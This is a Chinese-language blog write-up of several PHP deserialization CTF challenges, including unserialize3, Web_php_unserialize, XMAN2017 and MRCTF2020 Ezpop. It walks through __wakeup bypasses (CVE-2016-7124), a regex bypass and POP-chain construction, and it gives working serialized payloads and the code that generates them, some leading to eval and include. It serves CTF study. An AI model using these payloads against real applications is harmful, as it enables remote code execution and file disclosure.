0x00 CTF中的反序列化題目
這類題目中主要是利用反序列化各種魔術方法的繞過或呼叫,從而構造符合條件的序列化字串,完成特定的功能,在這一點上對于整個代碼段的執行流程要很清楚,我們先從最簡單的開始看起,
0x01 攻防世界unserialize3
題目顯示的原始碼為:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
在這里我們可以看到只有一個魔術方法,而__wakeup()魔術方法是反序列化之前檢查執行的函式,也就是說,不管傳入什么,都會優先執行__wakeup()方法,但這里針對__wakeup()方法有一個CVE漏洞,CVE-2016-7124,在傳入的序列化字串在反序列化物件時與真實存在的引數個數不同時會跳過執行,即當前函式中只有一個引數$flag,若傳入的序列化字串中的引數個數為2即可繞過,
如下:
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
得到結果O:4:"xctf":1:{s:4:"flag";s:3:"111";},將類xctf中的引數1修改為2,提交code,得到flag,
0x02 攻防世界Web_php_unserialize
題目原始碼為:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
這里首先是一個代碼審計,代碼部分比較簡單,大佬肯定一眼就知道這里只需要繞過preg_match正則和__wakeup函式即可,因為這里weakup會將馬上就要反序列化的字串中file給你替換為index,這樣就回到現在的頁面了,
首先是正則繞過:/[oc]:\d+:/i
這段正則的意思是匹配所有的以o、c、O、C開頭,加冒號:,加數字、再加冒號:的字串,忽略大小寫,也就是o:4:這部分序列化串開頭的匹配,這里使用+4繞過,這是因為這樣即繞過了這里正則的條件,由不會改變o后面的值,因為+4與4是相同的,不會影響反序列化的結果,
其次是wakeup,wakeup只需要把序列化字串的物件屬性個數1改為別的數字就行了,但是注意這里file 的型別是private,所以列印出來的串是有不可見字符%00的,不要復制出來自己base,不然結果就不一樣了,
O:+4:"Demo":2:{s:10:"%00Demo%00file";s:8:"fl4g.php";}
$a= new Demo('fl4g.php');
$b = serialize($a);
$b = str_replace("O:4","O:+4",$b);
$b = str_replace(":1:",":2:",$b);
echo base64_encode($b);
最終結果為:index.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

0x03 XMAN2017 unserialize
訪問題目提示get傳參code

于是試試傳入1,得到提示
hint: flag.php
訪問得到下一步提示:

訪問help.php,得到部分原始碼:

代碼整理后得到:
<?php
class FileClass
{
public $filename = 'error.log';
public function __toString(){
return file_get_contents($this->filename);
}
}
也就是說這是一個觸發Tostring 的題目,前面的知識中我們也提到這個函式觸發于物件被當作字串時,一般在echo等列印函式時就可以,這里先使用
$a = new FileClass();
echo serialize($a);
傳給code做測驗,發現回傳:

也就是說,每次序列化之后都觸發了其中的Tostring函式,回傳檔案的內容, 只不過這里沒有error,log,那么我們把內容替換為flag.php即可,
傳入?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}查看原始碼拿到flag,
0x04 pop鏈構造
以下部分內容代碼來自F12sec ,作者spaceman,感謝大佬的分享,通過幾個例子來一起學習反序列化的執行流程
<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
function __construct() {
$this->ClassObj = new hello();
}
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "hello pop ";
}
}
class shell {
public $data;
function action() {
eval($this->data);
}
}
$a = new pop();
@unserialize($_GET['s']);
在這段代碼中,可以很容易看到危險函式為shell類中的action方法,而第一個類pop在創建時會自動去new一個hello類,并在銷毀時呼叫hello的action方法,我們只需要利用銷毀時自動呼叫的這一特性,使本來的執行流程改變,具體為:
new pop --> new hello --> action(hello)
new pop --> new shell --> action(shell)
于是上面的代碼就變成了
<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
function __construct() {
$this->ClassObj = new shell();
}
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "hello pop ";
}
}
class shell {
public $data ="phpinfo();" ;
function action() {
eval($this->data);
}
}
$a = new pop();
echo serialize($a);
這樣一來就完成了執行流程的改變,我們把最后的結果O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}傳入s中,就得到了執行phpinfo后的界面,完成了執行流程的改變,

0x05 MRCTF2020Ezpop
題目原始碼為:
<?php
class Modifier {
protected $var = "flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
echo "__tostring";
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
這里代碼比較長,但我們一個個分析,都是之前總結過的知識點,
- 首先是Modifier類:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
這里我們看到只有一個魔術方法invoke,前面我們總結了,呼叫invoke 的方式就是將物件以函式的方式訪問,所以modifier類利用的姿勢就是:
$a = new Modifier();
$a();
- 其次是show類:
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
這里可以看到魔術方法為tosting和wakeup,tostring需要物件以字串方式被訪問,而這一類中剛好在初始化時construct中使用了echo;這里的wakeup只要傳參Show中的值不包含指定字符即可,
- 第三個是Test類
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
test類中的魔術方法__get需要我們訪問一個不存在的屬性時就會呼叫,且會將自己類中p的值當作函式執行,
利用的姿勢就為:
$b = new Test();
$b->a;
訪問不存在的屬性,哪里的屬性不存在呢,在Show類中tostring呼叫的$this->str->source,而Test類沒有source屬性,那么讓Show類中的str屬性成為Test類的物件即可,
也就是說這里應該為:
$a = new Show("123");
$a->str = new Test();
其實到了這里就比較明朗了,好似回到了第一個類modifier的執行條件,將一個值當作函式執行,最終的目的也就是把想要查看的檔案使用 Modifier類中的include($value);函式包含,
所以執行的流程就是:
Show中執行tostring——>訪問到了Test中的source——>而Test中沒有source——>于是執行了__get魔法——>將this->p當作函式執行,這里都可以看出來this->p就應該是第一個類的利用點就應該是Modifier的物件,從而包含想要包含的檔案,
代碼為:
<?php
class Modifier {
protected $var = "flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
echo "__tostring";
return "556"; //注意這里把原來的this->str->source更改,如果不改,在new第二次Show的時候就會提示Method Show::__toString() must return a string value
}
public function __wakeup(){ //這里兩次傳入的source引數都不包含正則的內容,所以沒有觸發過濾函式,
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
$function = $this->p;
return $function();
}
}
$a = new Show("afcc"); //在這個題目中輸入什么都無所謂,都不會影響后續的結果
$a->str = new Test();
//echo $a;這里也就是要再次呼叫Show輸出自己,才會使echo成立,
$c = new Show($a);
echo urlencode(serialize($c)); //這里urlencode是為了防止 protected 物件對結果造成影響,
最終輸入
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22afcc%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
也就是序列化后的字串,注意*var前面的%00,
當這個題目做完的時候我們反過來看,其實這里面的wakeup沒有起到作用,因為對于最后的序列化串來說Show類中的source沒有起到任何作用,就算在反序列化之前被修改,也不影響后續的輸出,如果把他改為
this->str = "index.php";
這時就需要考慮如何繞過的問題了,
0x06 小結
這幾天學習反序列化之后,發現主要的知識點集中于各個魔術方法的呼叫時機、正則匹配的繞過和pop鏈的構造,學習比較緩慢,需要慢慢積累,
pop鏈在構造的時候首先
- 分析每個函式是不是有存在利用的點、怎么利用,例如wakeup、get等魔術方法
- 他們之間有沒有關聯、比如第一個的利用條件正好是第二個的初始化內容等等
- 最后我們需要控制的eval、include等危險函式來倒推利用,
還是需要多加練習才能更深入的掌握,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294407.html
標籤:其他
上一篇:檔案包含練習
下一篇:我為什么勸你學習軟體測驗?
